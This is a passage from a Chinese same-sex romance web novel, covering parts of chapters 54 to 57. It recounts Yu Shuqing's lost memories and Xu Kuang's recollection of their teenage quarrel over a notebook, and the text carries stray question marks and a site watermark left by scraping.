郁书青明白,老师并没有一语双关的意思,纯粹就是发现?可以吃瓜,又是已经毕业很久的成年学生,兴致勃勃地问?了几?句而已,但可能他和徐矿待在一起的时间?有点?长,思想也跟着变得肮脏,居然想到了另外一层解释。 没错,徐矿的确“日”久生情,突发恶疾。 “那个,” 郁书青生怕从徐矿嘴里再听到什么虎狼之言,抢先答到:“正?接触着,这个不是重点?……今天过来?主要想看看您,再问?一件事。” 王亮程点?头:“成,我也是刚开完会过来?,等会还有一节课,你问?吧。” 按理说回校来?看老师,应该带点?鲜花或者水果之类的小礼物,但王老师高风亮节,从来?不肯收他们任何东西,所以郁书青也是空着手?过来?,非本校学生不得随意进?入校园,就让王老师又跑了一趟,郁书青有些?不太自在,也愧疚,就长话短说,不耽误对方的时间?:“我初三那年遇见一次车祸,您还记得吗?” 王亮程是他初中的班主任,跟班走,带了他整整三年。 “记得啊,”王亮程笃定道,“当时刚过完年吧,还在放寒假,你爷爷给我打?过电话,说很凶险。” 郁书青点?头:“后来?我出院回来?,好像忘记了一些?东西……死活想不起来?了。” 他今天来?初中见老师,也是抱着碰运气?的心态,想着说不定能回想一点?。 王亮程叹了口?气?:“你那时候生活方面没什么影响,就是忘记了些?过去的事,还有人……不过挺好的,失忆后你状态就好很多,没那么烦躁了。” 郁书青“啊”了一声:“您还记得我当时,为什么烦躁吗?” “好像有人在追你,死缠烂打?的,手?段也不怎么干净。” 王亮程说着就“啧”了一声:“现?在小孩发育好,开窍也早,上?初中的时候就开始谈恋爱了,真是……” 他忍了下?,后半句话没说完。 尤其是同性之间?。 两?个男孩子拉拉扯扯的,总归有些?不太好看。 虽然已经出台了相关法案,可以结婚,但这里毕竟是学校,相对来?说保守一点?,王亮程至今都记得当时郁书青躲在办公室的角落,因为羞恼而咬着嘴唇,两?眼红红的样子,给他看得怪难受。 郁书青不是没被人追求过,但也都是成年之后的事了,所以乍然听到说初三就被人死缠烂打?,不免惊讶:“哎?” 徐矿跟着开口?,表情很严肃:“然后呢?” “没答应啊,”王亮程想了想,“你特别讨厌那男孩的,气?得不行。” 这件事,郁书青还真不知道,但直觉有些?不太对劲:“老师,您还记得对方是谁吗?” “有点?印象,”王亮程沉吟片刻,“那男孩家庭条件似乎不错,都说他们家有矿……” 在两?人讶异的目光中,王亮程猛然抬头。 “想起来?了,就叫徐矿。” 在突兀的沉默中,王亮程多年的教务主任经历作?祟,不免皱起眉头,开始激情地训诫。 “你说小小年纪,怎么就满脑子的情情爱爱?” “人家不喜欢你,还非要在后面缠着,实在是太过分?了!” 他说着就看向?郁书青,再次叹了口?气?,身为老师,不能对学生的取向?指手?画脚,但看到郁书青现?在和男人在一起,还是会怀疑,是否受到当年的影响,于?是拧开保温瓶,狠狠地灌下?一大口?。 “忘了也好,那种人渣记得干嘛?” 晚了。 郁书青其实没有受到太大的冲击,依然表情平静,只是听到旁边传来?微弱的声音,像是踩在落叶上?。 没关系,大概是有一只徐矿,轻轻地碎掉了。 第55章 第 55 章 “我不是, 我没?有。” 小?吃街的一家拉面店里,徐矿两手按在桌子上,反复地讲着这两句话。 郁书?青有些懒得听:“嗯嗯, 知道了。” “我没?有对你死缠烂打。” “我也没?有用?不干净的手段, 我不是那种人。” “小?咪, 你在听吗小?咪, 你看我一眼好不好,拜托, 我这么?大一个人坐着呢, 你就没?有兴趣看看我吗, 真?的不看吗, 你确定吗,如果不想看的话也可以让你摸一下。” 郁书?青抽出筷子。 徐矿表情森*晚*整*理严肃:“我之?前没?有追过人的,这件事必须掰扯清楚。” 他冤枉啊。 看到王亮程思?索那个追求者?名字时, 徐矿其实有点阴沉, 满脑子想怎么?郁书?青那时候被人骚扰, 他居然一点也不知道, 这样死缠烂打的人渣最好别被他发现是谁, 否则他真?的会控制不了自己的行为—— “徐矿。” 王老师的声音犹在耳畔。 “没?答应啊,你特别讨厌那男孩的,气得不行。” 徐矿愤愤然地撑着桌子,脸色很臭, 觉得自个儿现在正在追求郁书?青呢, 贸然听见这句话,挺不吉利的。 做生意的人家, 都喜欢讨点彩头。 郁书?青倒是反应不大,用?吸管喝着一瓶冰豆奶, 两只?眼睛都在盯着后?厨的方向,这也是卓越后?面的老店了,里面没?菜单,因为就那么?几样的招牌,其中最有名的就是拉面,劲道爽滑,汤汁鲜亮,再配上翠绿的芫荽和大片牛肉,香喷喷的热乎劲儿就往鼻子里钻。 他们那时候爱在冬天吃这个,一定要加点辣椒,是老板自家炸的,晒干的红辣椒和芝麻炒香,再浇一大勺滚烫的热油,滋啦一声,那个直冲天灵盖的香味就窜起来?了,徐矿记得自己有次和朋友在这里吃饭,正好碰见郁书?青出来?,那会儿下着大雪,郁书?青戴着毛线帽子和围巾,穿件厚厚的羽绒服,被裹成一个球儿似的,就露出俩大眼睛,和红扑扑的脸蛋。 看得他当时,特别想从旁边灌木丛上抓一把雪,塞人家脖子里。 太可爱了。 他差点就这么?做了。 没?有的原因,不是怕郁书?青跟他翻脸或者?打架,说不上来?,从小?徐矿就挺喜欢郁书?青跟他动手的,觉得好玩,所以这会不手贱的原因,是怕郁书?青被冻着,感冒。 现在想来?,徐矿稍微有点后?悔,觉得自己仅仅是想想,也不行,怎么?那样欠呢,就见儿天的围在人家旁边,被骂一句才美滋滋地走开,挺那啥的。 太不像话了。 这和小?学时候那帮兔崽子男生,遇见喜欢的姑娘,故意扯人家辫子有什么?区别—— 统统枪毙! 正想着呢,两碗刚做好的拉面就端上来?了,青花大瓷碗,雪白?的勺,郁书?青轻轻地吹了下冒着的烟,低头喝汤,就给鼻子小?幅度地皱起来?:“唔……味道没?变!” 徐矿坐在他对面,喉结滚动了下。 咋说呢,这样吹着热气吃面的郁书?青,和那个坐在冰冷的书?房里,偷偷捏面包的郁书?青,仿佛重叠在了一块儿,又?像是完全不同的两个人,但?当那双清亮的眼睛看过来?时,徐矿还是不免心跳有些快。 他觉得,郁书?青这会儿挺鲜活的。 徐矿很喜欢。 所以,他还是鼓起勇气,提出了那个不愿承认的可能性:“喂,小?咪……难道我那会,是不自觉地在骚扰你,给你造成困扰了吗?” 郁书?青吃得正开心,没?抬头:“忘了。” 一边吃,还要一边把芫荽挑出来?给徐矿。 徐矿没?忍住笑:“你还说自己不挑食啊?” “不挑啊,”郁书?青理直气壮,“你看,我都没?提前跟老板交代,说不要放。” 他只?是稍微,没?那么?爱吃芫荽而已。 但?是因为仪式感,必须是完整的一碗拉面! 这顿饭吃得快,郁书?青喝完最后?一口冰豆奶,已经有些微微的呆滞了,徐矿给人从椅子上拉起来?:“走吧,溜溜食。” 被外面的风一吹,郁书?青才终于?清醒了些,伸了个懒腰:“回?去吧。” “不行,”徐矿接话道,“今天不是来?早恋的吗?” “谁要跟你早恋!” “来?都来?了!” 这会儿外面都是成群结对的学生,卓越中午不封校,学生可以选择在食堂或者?出来?吃,食堂的话相对便宜一点,要是出来?,则能再买点零食或者?冰淇淋,徐矿虚虚地挡在郁书?青前面,避开汹涌的人潮,偏头看他:“我记得最早,学校是不让中午出来?的。” 郁书?青点头:“嗯,餐厅就坐地起价。” “后来是不是有次闹事,联合告到了校长那里,”徐矿笑了起来?,“大家集体不去食堂,都待在教室里啃面包,后来学校才妥协的。” 郁书青走得慢:“是啊,坚持了三四天呢。” 两个人一起走,似乎会让时间过得很快。 不知不觉间,身边的笑声逐渐变得遥远,而白?色的校服消失于?视线,高大的梧桐树沉默着投下阴影,秋风萧瑟,徐矿拉住郁书?青的手,声音很低:“那为什么?,你单单把我给忘了呢?” 郁书?青站住了。 他抬眸,很认真地看向徐矿。 因为这个瞬间,郁书?青能够感觉到,徐矿是真?的伤心了。 他没?有往日的懒散,也没?有偶尔出现的锐利,垂着睫毛,整个人显得有些气馁,有些胆怯,像是真?的做了不应该的事,在等待自己的审判。 尾巴都不翘了。 怂怂的。 郁书?青突然很想伸手,去摸一下对方垂在后?颈的头发,可他没?有做到,因为刚刚出现往外抽手的动作时,徐矿就条件反射似的握得更紧,呼吸都跟着屏住。 “小?咪,对不起。” 他吞咽了下,哀哀地看着郁书?青,仿佛一条被雨淋湿的大狗,湿漉漉地卧在路边,因为寒冷和饥饿而微微颤抖:“如果我当初对你做了不合适的事,我——” “没?有,” 郁书?青很笃定地开口:“放心吧,不是你。” 徐矿:“啊?” “这点的判断我还是有的,”郁书?青继续道,“要是真?的是你死缠烂打,那即使我这边没?有印象,身边的朋友肯定会听说,毕竟你这么?爱显摆,追人不会静悄悄的吧。” ? 徐矿依然张着嘴。 “并且那个时候的你……” 郁书?青顿了下,不太客气地打量着徐矿:“应该比较傻狗。” 其实道理很简单。 徐矿是现在才开始追他的。 而王亮程说了,那个死缠烂打的追求者?,还用?了些不干净的手段,能从老师嘴里说出这个词的,想来?也是拙劣而令人厌恶的小?动作。 而不是像徐矿这种,在衣兜里给他带颗糖果,或者?去厨房笨拙地雕刻一朵胡萝卜花。 初三的男生,会有什么?样的下作手段呢? 造谣,威胁,欺凌。 郁书?青毫无印象。 并且很神奇的是,在之?后?的学习工作中,他从未听过一言片语,关?于?自己被纠缠的事,那就说明了两个可能性,要么?,是自己完全不介意,没?把这当回?事,要么?,就是对方隐瞒地很好,心机深重。 而徐矿—— 正眨着眼看他,眼神清澈而迷茫。 郁书?青突然笑出声。 他还是把手抽了出来?,背在自己身后?:“想什么?呢?” 徐矿呆呆地开口:“你别说,是有点不对劲。” 郁书?青:“嗯?” “因为我那时候是直的啊,”徐矿毫不犹豫,“怎么?可能会喜欢上男生?” 郁书?青慢悠悠的:“哦。” “不对,其实现在我也挺直的,我只?是……” 徐矿憋了好一会儿,才泄气似的垮下肩膀,小?声道:“我只?是,觉得跟你在一起很开心。” 陪着郁书?青见完老师,没?有在卓越继续待下去的必要,而郁书?青也冷酷地拒绝了对方的提议,说什么?去网吧打游戏,溜冰,看电影,做一些早恋小?情侣喜欢的事,他干脆地开门上车,坐在副驾驶上:“回?去吧。” 徐矿似乎受到一定的打击,路上罕见地沉默下来?。 郁书?青倒是趁机眯了会儿,他有中午小?憩的习惯,既然徐矿不说话,他倒是落得清净,把肩膀靠在侧面的车门上,神思?昏沉时,感觉有人轻轻地托起自己的脑袋。 徐矿给他垫了个小?软枕。 应该是在路边停靠了一小?会,因为对方的动作很慢,像是怕弄醒了他,郁书?青没?掀眼皮,懒洋洋地由着徐矿动作,而脑海里却突兀地想起一句话。 他现在,起码在身体上,真?的对徐矿毫无防备了么?? 车厢内萦绕淡淡的香味,他们已经在一个屋檐下生活了,不到一个月的光景,足以令徐矿身上沾染自己惯用?的沐浴露味道,而每一次的亲热后?,也都是徐矿抱着无力的他,共同沉入温热的浴缸里,呼吸交错,对彼此?的每一寸肌肤都无比熟悉。 分明两个多月前,对郁书?青而言,徐矿还是陌生人。 可他们真?的认识了很久。 以至于?在听到老师的话时,郁书?青第?一反应就是为徐矿辩解。 太感情用?事了。 郁书?青自嘲地笑了下,觉得和徐矿待久了,自己也跟着变傻,什么?失忆啊曾经被人死缠烂打的,重要吗?这些事放在现在,简直不值一提。 因为他真?的很想好好睡一觉。 大概是太久没?有回?以前的地方睡了,郁书?青居然失眠了好几天——也算不上失眠,就是睡不踏实,浅,容易醒,翻来?覆去地不舒服。 以至于?今天坐在车上,没?多久就开始打呵欠。 他忘记时间,感觉自己漂浮了起来?,变成一只?很小?的鸟,被人拢在手心里,穿过冷冽的松树林,又?经过皑皑白?雪的冬天,最终被放在柔软的巢穴里,周围可能点了篝火,能听到火柴燃烧的噼啪声,偶尔有猩红的火星子蹦出来?,郁书?青就被小?小?地惊一下,而旁边的人,则立刻拍着他的后?背。 没?有说什么?话,只?是抱着他,一下下地拍着。 郁书?青把脸,往对方的怀抱里拱了拱。 “还冷吗?” “嗯……” “嗯是什么?意思?呢,冷还是热?” 徐矿用?手摸了摸郁书?青的脸颊,又?伸进被窝里摸他的后?颈,可还没?把手放在那细腻的肌肤上,就感觉对方深深地吸了一口气。 “闻什么?呢,”他有些痒痒,又?觉得好笑,“都睡着了还这样拱啊。” 郁书?青呼吸平稳,头发丝蹭在徐矿的胸前,很柔软的样子。 徐矿叹了口气,低下头,把下巴小?心翼翼地搁在郁书?青的头顶上,自言自语道:“也就是说,你真?的没?有暗恋过我,就跟不开窍的铁树一样……直到二十五岁,才因为我的脸,勉强心动了一下吗?” 郁书?青迷迷糊糊的:“没?有……” “没?有什么?,”徐矿亲了下他的头发,“没?有心动,还是没?有只?对我的脸心动?” 郁书?青又?不说话了,把头埋得更深。 徐矿手上的动作越来?越慢:“算了,睡吧,睡醒了我们出去看星星。” “不要……” “快点睡,再嘟囔我就亲你了。” 他也就是吓唬人一下,因为郁书?青这会儿不怎么?老实,明明都困成了个小?傻瓜,爪子还要作乱,弄得徐矿很想咬一口对方的指尖。 可是郁书?青抬头了,睡眼惺忪的模样:“好啊。” 仿佛在等待一个迟迟不来?的晚安吻,而强撑着不让自己闭眼睛。 徐矿微微怔住,而郁书?青则靠近他,碰了碰彼此?的嘴巴。 ……没?对准位置。 只?是擦到了嘴角。 “错了,”他撑着胳膊起来?,跨-坐在徐矿的腰上,“重新亲……你不许伸舌头。” 这次对了。 柔软的触觉离开,一点点甜意尚未消失,小?火苗似的燎着心尖。 徐矿捧着郁书?青的脸:“为什么?不让?” 那双漂亮的眼还困着,没?有往日的清明,睫毛都显得重了。 “因为你特别容易……” 郁书?青重新斟酌:“产生很可怕,很奇怪的杏欲。” 徐矿闭上眼,喉结滚动了下:“宝贝,你故意的。” 嗓音很哑。 “你在折磨我。” 第56章 第 56 章 郁书青还坐在徐矿身上, 低头看人。 浓密的睫毛垂着,有一种毛绒绒的质感?,让人很想伸手去碰一下, 看是像新?雨后路边的含羞草, 还是像振翅的小蝴蝶。 徐矿呼出一口气, 重复道:“你故意的。” 郁书青缓缓俯下:“……哦。” 他就这样看着徐矿, 没有继续凑近,也不后退, 两只?手撑在枕头旁边, 呼吸浅淡, 眉眼萦绕着倦意, 显出一种清冷的温柔感?。 徐矿受不了,伸手扣住郁书青的后脑勺,把人往自己这边拉。 这次的吻比刚才的缱绻, 郁书青的嘴唇变红变烫, 双手有些撑不住, 踉跄了下, 徐矿就反抓着他的手, 给人往上托了托:“嗯?” 郁书青被亲得有些失神,微微张着嘴。 “怎么不讲话了,”徐矿的拇指揩过?唇角,捻在那颗小痣上, “不是在撩拨我么, 为什么不继续?” 郁书青视线聚焦,从那双锋利漂亮的眉眼下移, 他很细致地观察徐矿的脸,一点点, 一寸寸,没有放过?任何的细枝末节,平心而论,徐矿真?的完美?长在他的取向上,否则也不可能在初次见面的时候,他就心跳得那么快,甚至主动搂着脖子亲上去,当晚就滚了床单。 这听起来,仿佛是一见钟情。 但实际上呢。 居然是久别重逢。 “可是,我想不起来,”郁书青摸着徐矿的脸,“我不记得你了。” 如?同凛冬降雪,洁白的雪花悄然覆上山巅,隐去所有的植被和?土壤,捂住它们的耳朵,拦下春天的讯息。 他很努力?地回想了,依然一片空白。 “记不起来没关系啊,”徐矿看着他,“重新?认识也很好。” 郁书青摇摇头:“不一样的。” “那我讲给你听。” 徐矿拉过?郁书青的手,放在自己肩膀的位置,那里有一处疤痕,应该时间很久,泛着浅色的白,依然清晰可见。 “小狗咬的,”徐矿温柔地注视他,“看看,直接就给我戳了个章。” 郁书青的手指按在上面:“为什么?” “因?为那天的你好生气,我们大?吵一架。” “你说永远不会原谅我。” “我也恼了,跟你对着吵,吵到最?后你直接扑上来,咬了我一口。” 郁书青呆呆地眨着眼睛。 徐矿继续:“好凶哦,那时候我也气坏了,你一定也是这样想我的吧,所以拉黑了我的联系方式,甚至忘了我……很讨厌我吗?” 他把郁书青的手拉起来,放到嘴边,亲了下。 郁书青拧着眉:“我们为什么吵架?” 徐矿轻笑一声:“说出来,你可能不信——” 但真?的,是一件很小的事。 那时候的徐矿,已经决定要跟着家人出国去北欧了,很多原因?,父母的工作,爷爷的身体,老头子人生最?后几年都在游山玩水,最?后落脚在一处能看到极光的小镇上,徐矿当时还不理解,觉得天天待在那种没什么日照,还这么冷的国家,真?的不会抑郁吗? 可爷爷很喜欢。 他七十?八岁的年纪,开始学习油画,把冰山和?极光画给徐矿看,冰山好认,极光徐矿却认不太出,因?为就是寥寥几笔的绿色,却仿佛在跳动一样,他问爷爷要照片,要录下来视频给自己看,爷爷说不行的,要么用眼睛,要么用手拿起画笔,否则感?受不到那种仿佛躺在海底的震撼。 后来有一次,徐矿幸运地见到了极光大?爆发,他一个人躺在雪地上,看着满天满眼的极光,原来爷爷没有骗他,没有夸张,绿色的光是活的,在跳跃,在旋转,他的眼睛完全?跟不上,被美?到几乎失语,在这一刻,压根没有拿出手机的想法?,他只?是着迷地看着浪漫而不可思议的夜空,像是躺在海底的人,凝视波光粼粼的水面。 那天晚上,徐矿拍掉身上的雪,站起来,突然很想念郁书青。 他觉得郁书青会喜欢这一幕。 虽然这家伙审美?一般,但会被路边的小花所吸引,一只?落在喷泉边的蜻蜓,都能让他看很久。 徐矿知道的。 可郁书青已经不理他了。 徐矿原地跺了跺脚,脱下自己厚重的皮手套,拍打掉沾染的雪粒,还是有点难过?—— 徐矿觉得,自己挺在意这个朋友的。 哪怕郁书青和?自己闹翻,甚至可能自始至终,没有把他当做朋友,不然,为什么不理他,不来自己的生日宴会呢。 徐矿抬眸,看着遥远到仿佛来自亘古的极光。 心里像是皱了起来。 其实,当初送完请帖后,他就有一丝微妙的错觉。 就是常说的一句玩笑话。 因?为想送一个人礼物?,而给全?班都准备了。 几年前,十?五岁的徐矿不明白自己在纠结什么,居然会琢磨这种小事,贸然邀请郁书青的话,会不会有些别扭呢,因?为那会他们之间的关系太好了,好到朋友都调侃,说受不了,你们好gay哦。 才不是呢。 他们从小就认识,郁书青牙齿都没长齐的时候,就抓着徐矿的手往自己嘴里送了,虽说因?为性格原因?,两人不太玩得到一块儿,见面就怼,互相拌嘴,但也磕磕绊绊地一块长大?,并且最?重要的是,初三那年秋天,郁书青突然转了性子,很乖巧地叫他哥哥。 毫不夸张,当时的徐矿心里仿佛驶过?一辆小火车,呜哇呜哇的。 顺着耳朵眼往外冒烟。 他是冬天的生日,要比郁书青大?半岁多,从小那家伙就倔得不行,死活不肯叫他哥哥,见面都是木着一张脸,冷淡地哼一声。 徐矿的尾巴都快翘到天上了。 “好家伙,你怎么给郁书青背书包?” ——他叫我哥哥哎! “跑那么快干嘛,这不才刚放学,那么急就要去买饭……给郁书青带的?” ——他叫我哥哥哎! 面对朋友们不可置信的目光,徐矿倒是很坦然,郁书青好不容易这么乖,他当哥哥的,帮点忙怎么了!再说了,都是兄弟,下大?雨的时候背着郁书青过?水坑又怎么了!没见地上的水又凉又脏,万一给鞋子弄湿了,一上午该多难受啊! 徐矿理直气壮,看郁书青无?比顺眼。 只?是可惜,这段时间太过?短暂。 他很快就要走了。 走也没关系,大?学的时候还是可以回来,并且每年都有假期,徐矿窝在沙发上想了很久,决定还是办次生日宴,也算是和?朋友们最?后再聚一次,地点就在自家酒店,吃完了还能一块儿唱歌打游戏,不往外跑,家长也放心。 都是十?几岁的半大?孩子,嗷嗷起来能给屋顶掀翻,往日里闹腾的徐矿却显得心不在焉,被人勾住脖子也没反应,视线飘忽,不住地往窗户外面看。 郁书青没有来。 为什么呢? 不仅本人没有出现,连电话都不打一个,徐矿忍了好久,终于没憋住,当天晚上就去找了郁书青,那幢上了年纪的小洋楼安安静静的,栅栏爬满了蔷薇,冬天没有花朵,就显得有那么点萧瑟,徐矿和?郁家长辈打过?招呼,就站在楼下叫。 “小咪,郁小咪!” 郁雪玲笑着说:“去楼上吧,看看是不是睡着了。” 徐矿踏着红木楼梯往上走,心跳得快了点,推开门的时候居然有些紧张。 郁书青在椅子上坐着,听见动静就转过?身,怀里抱着一只?猫。 那是大?咪,从被郁书青在大?雨中抱回家到现在,已经是很老的一只?猫了,眼睫和?胡子都变白,每天都在太阳下团着身子睡觉。 徐矿走上前,先摸了下大?咪的脑袋,转而又去摸郁书青—— 郁书青躲开了。 “怎么,感?冒还是发烧了?” 徐矿大?喇喇地按住椅背,低头端详对方的脸,感?觉郁书青脸颊和?眼角都有点红,没忍住嘴欠:“喂,不会是因?为舍不得我?” 郁书青面无?表情:“滚。” “干嘛这么凶,”徐矿又去摸大?咪的脑袋,猫咪年龄大?了,无?论换什么样的食物?,加再多的鱼油,都能感?觉到毛色没有曾经的鲜亮,摸起来也有种涩滞的手感?,他动作很轻,“要是生气的话,我就不走了。” 郁书青没有反应。 徐矿的指尖瑟缩了下,还是放在了郁书青的头发上,开玩笑似的揉了揉。 “喂,真?的舍不得我了吗,没关系啊,我就去一年,等爷爷……” 他的手被猛地打开。 “喵呜——” 大?咪被放在地上,不满地叫了一声,歪着头看了眼站着的两人,就竖着尾巴离开房间。 郁书青死死地盯着他,嘴巴抿得很紧。 “怎么了,”徐矿这才变得严肃,“你在生气吗,为什么?” 所以才不去他的生日宴? 早知道就不陪那帮人闹腾了,赶紧过?来问一下。 “我、我觉得你……” 郁书青的胸口微微起伏,很慢地开口:“我觉得你很恶心。” 徐矿张了张嘴。 那个时候,郁书青要比现在更矮一点,皮肤白皙,甚至都有些剔透的感?觉,看起来很脆弱的模样。 “有话好好说,”徐矿的语调也冷下来,“不要这个样子生气。” 郁书青反唇相讥:“我和?你能有什么话好说?” “因?为我要出国吗?我不是说了就一年,并且也可以不走……” “不是这个!” 郁书青突然爆发地吼一句,眼角很红:“怎么是因?为这个!” “那是什么?” 徐矿心跳得很快,不免抬高音量:“能不能别和?我打哑谜!” 外面似乎下雪了。 晶莹的雪花静静地飞舞,落在蔷薇的叶子上,又很快被更多的雪花覆盖,院内灯光昏黄,世界变得好安静。 只?有屋内,剑拔弩张。 郁书青咬着自己的嘴唇,顿了顿才开口:“你把我的笔记给别人了。” 徐矿愣了下:“啊?” 在这个瞬间,他才突兀地想起上周发生的一件事,郁书青在他家写作业,没坚持多久,俩人就一块儿去打游戏,直到被阿姨敲门才意识到,已经很晚的时间了,因?为匆忙,郁书青收拾东西的时候,落下了一个笔记本。 铅灰色的封面,不厚。 徐矿没怎么在意,随手翻了几页就给放下,想着第二天带去学校,再还给他。 可能是生物?,或者什么小组作业吧。 里面没什么内容,就是些手贴画和?照片,徐矿没认出来是什么植物?,反正就是光秃秃的一根枝桠,稀拉拉地抽出几片叶子,慢慢长大?的过?程。 第二天早上,他刚把书放在桌面上,前桌的一个男生就探过?来:“哎,这是什么?” 徐矿随口道:“郁书青的,忘我家了。” 对方叫高元,他俩关系不错,还曾经被高元打趣过?,说你和?郁书青最?近跟小两口似的,真?黏糊,是不是把他们这帮兄弟都给忘了。 “给我看看呗!” 高元不由?分说地就伸过?手,还没碰到,就被徐矿一巴掌打开。 “别,这是人家郁书青的,我还没……” “又不是日记,”高元不满地嘟囔道,“再说了,我就看一眼怎么了?” 徐矿瞪他:“那也不行。” 虽然里面没什么东西,但肯定不可以随便把郁书青的东西给人看,徐矿把本子放在桌斗里,准备等中午的时候,顺手还给人家。 不是多大?的事,他连信息都没发一句。 但是上午的体育课结束后,笔记本不见了。 “不是我!” 高元举着双手:“我一直跟你在操场打球,哪儿有时间去教室拿东西?” 徐矿来来回回找了很久,甚至连周围人的桌子都搜刮了一遍,也愣是没有发现那本薄薄的笔记,他郁闷坏了,满脸不爽地坐在座位上,双手抱肩,不发一言。 那段时间,班里丢过?东西,都是些小钱或者零食,班主任不让把事闹大?,说一定会给同学们一个交代,但都过?去大?半个月,还是没有抓到罪魁祸首,同桌安慰他,说估计是看这个本子漂亮,给偷走了。 没办法?,徐矿又找了好一会,依然无?法?发现笔记本的踪迹。 而那天中午,郁书青没有出现。 徐矿在后门的那棵梧桐树旁站了很久,拎着书包去教室找人,他俩运气不好,从小到大?都是一个学校,可从来没有分在一个班级过?,现在也是楼上楼下,嫌放学的时候楼梯挤,都是约在后门那个地方见面。 虽然只?有短短一个多月,但徐矿已经习惯等他。 就像习惯对方叫他哥哥,眼角眉梢全?是笑意。 怎么会不知道在撒娇,在故意逗他? 徐矿回到教学楼,趴在对方班级的窗户上:“嗨,郁书青呢?” 擦黑板的同学转身,神情讶异。 “他今天就没来啊。” 第57章 第 57 章 郁书青少年时期, 身体有时候不太好。 容易着凉,生病,动?不动?就发烧。 所以徐矿会笑?他瘦小?, 然后盯着人喝牛奶。 但是郁书青很少请假, 哪怕病了?, 也是尽可能地戴着口罩来上?课, 偶尔咳嗽一两声,给自己灌很多的热水, 徐矿不太理解, 干嘛不在家里休息呢?他生病的时候, 别说请假了?, 起码得三?四个人一块儿?伺候着才行。 郁书青不搭理他。 这人真的死倔。 尤其是初三?以前,别扭得要命,只要是他认定的事, 几头牛都拉不回来, 不找同龄人玩, 经常给自己一个人锁在家里, 说起来, 徐矿勉强算得上?和?他接触比较多的,但就这,还是经常吃闭门羹。 也就是今年秋天,郁书青才变了?点模样。 棱角少了?, 摸起来没那么扎人, 徐矿记得很清楚,那天阳光明媚, 他俩在楼梯上?偶然遇见,一个往下慢慢走, 一个往上?快步奔跑,没留神,撞到了?彼此?的肩。 徐矿刚上?完体育课,正扯着领子散热,没好气地开口:“你瞎啊?” 上?下楼梯靠右行不知道吗! 干嘛正好跟他碰个对面。 可郁书青没有如往日一般骂回来,而是静静地站在原地,仰着脸:“你撞疼我了?。” 徐矿:“啊?” 郁书青声音很低:“你还是哥哥呢,撞到人都不道歉。” 足足安静了?好几秒的时间?,徐矿才呆呆地开口:“对不起……” “原谅你了?。” 郁书青这才慢条斯理地下楼,走到最后一阶的时候回眸:“哥哥,你耳朵好红啊。” 讲真,十五岁的徐矿,有点没能顶得住。 挺喜欢郁书青这样的。 所以他完全想不到,一个笔记本,能让两人大吵一架。 “你那天没有去学校啊!” 徐矿急急地解释:“之后我不是找你说……” 他闭上?了?嘴。 那天,郁书青一整天都没有出现,还是到了?晚上?,他给对方?打了?个电话?,郁书青的声音稍微有些哑,说没事,就是不太舒服,请了?一天的假。 第二天,徐矿拎着书包在后门等,远远就看到郁书青过来了?,垂着头,脚步慢吞吞的。 “小?咪,”他当时殷切地凑上?去,接过对方?的书包,“好点了?吗?” 郁书青脸色有点白:“嗯。” 徐矿没摸清楚这个“嗯”是什么意思,莫名心?虚:“对了?,你的笔记本落我这里了?。” 高大的梧桐树投下阴影,郁书青抬脸看他,瞳仁清亮:“还给我吧。” “好,”徐矿从书包里掏出本子,“给你。” 说来也巧,那个丢了?的笔记本到了?傍晚,突然地出现在了?桌面上?,旁边同学经过缜密的分析,得出同样结论,那就是小?偷怕被?发现,干脆给本还了?拉倒。 徐矿简单翻了?几页,没发现有什么折损或者涂抹的痕迹,长长地吁出一口气,放进书包里,第二天还给郁书青。 郁书青面无表情?接了?,而徐矿也以为,这件事就过去了?。 没想到,这个词语却突兀地从对方?嘴里出现。 “……你把我的笔记给别人了?。” 外面下着雪,屋内的郁书青就穿了?件很薄的睡衣,纯棉的,浅米色,虽说有暖气,但徐矿还是莫名觉得郁书青很冷,为什么呢,大概是因为那明显发白的脸色,和?不自觉颤动?的睫毛。 徐矿瞬间?软了?下来:“对不起。” 他认真道歉:“我没有给别人……我想着你落在我那儿?了?,所以第二天去学校带给你的。” “我跟你说过吗,最近我们班经常丢东西,就是些小?钱或者零食。” “我找了?很久,想着是谁拿错了?,或者别的原因,但是晚上?吃饭那会,我刚回班就看见那个笔记本了?。” 徐矿低声下气地哄:“是我不好,我给弄丢了?,别生气好吗?” 说着,他就拽着郁书青的手腕,轻轻晃了?几下:“不是找回来了?嘛,我再给你买几本,十本,五十本行不行?” 郁书青把手抽回去了?,使劲儿?摇头:“我不要!” “这是怎么了?,”徐矿惯会死皮赖脸,干脆上?前一把给人抱怀里,“哎呀我们小?咪不生气了?,等我春天回来,带你去包场打游戏怎么样?或者你去找我——” 他们约定过的,要一起看极光。 收到爷爷的画时,郁书青似乎比他更感兴趣,眼睛亮晶晶地看着那美丽而神秘的颜色,说等高中毕业,一定要去亲眼看看。 “一起吧?” “好!” 郁书青使劲儿?推开了?他:“滚!” 徐矿愣住了?。 “不是,你有话?不能好好说吗,”他皱起眉头,“为什么要发这么大的脾气?” 十五岁的年龄,身高可能接近成人,但是心?智上?还依然稚嫩,少年骨骼初成,薄薄的肌肉线条已经很漂亮,眉眼间?也有了?日后桀骜的影子,森*晚*整*理神情?中的郁闷是真实的,也有自己都难以察觉的焦躁和?紧张。 郁书青的喉结快速滚动:“我不想见你,你走吧。” “为什么?” 徐矿的执拗也上?来了?:“你不说清楚我就不走,今天不想说,那就明天再说,大不了?我给机票退了?!” 屋内陷入一片寂静。 郁书青定定地看着他,眼眸里仿佛蒙着层朦胧的雾气,又像是随时都会坠下的眼泪,就在这个刹那,徐矿的心抖了下:“我……” 可郁书青轻飘飘地开口:“你不走,我走。” 说完,他就扭头往门外跑去,一把拉开卧室的门,徐矿立马追出去,郁家长辈休息得早,这个点差不多也该歇下了?,郁书青速度很快,飞也似的冲到一楼客厅,直接往后院跑去。 雪已经很大了?。 徐矿跑的急,猛地扎进一片洁白,扳着郁书青的肩膀给人往回拉:“你怎么了??” 郁书青崩溃地叫起来:“你能不能不要追我!” 冬天冷,说出口的话?都变成白烟,就几秒钟的时间?,两人头顶都落了?一层的白,徐矿不由分说地拽着他:“回屋说!” “不要!” 郁书青挣扎:“你放开我,不要碰我!” 虽然语气很急,但可能怕吵到爷爷奶奶或者住家阿姨,仍是压着声音,憋得嗓音都在发颤。 徐矿气坏了?:“就因为我不小?心?给本子弄丢了?吗,我说了?,没有给别人看,并且也找回来了?,你为什么不相信我?” 郁书青仰脸看他:“因为我讨厌你。” 雪花被?裹挟着打在脸上?,耳边是呜咽的北风,睫毛像是结了?一层冰,蛰得眼睛又冷又疼,他们两个就这样站在后院里,仿佛要被?雪花吞没。 郁书青鼻头冻得通红:“你不知道吗,我从小?就讨厌你。” 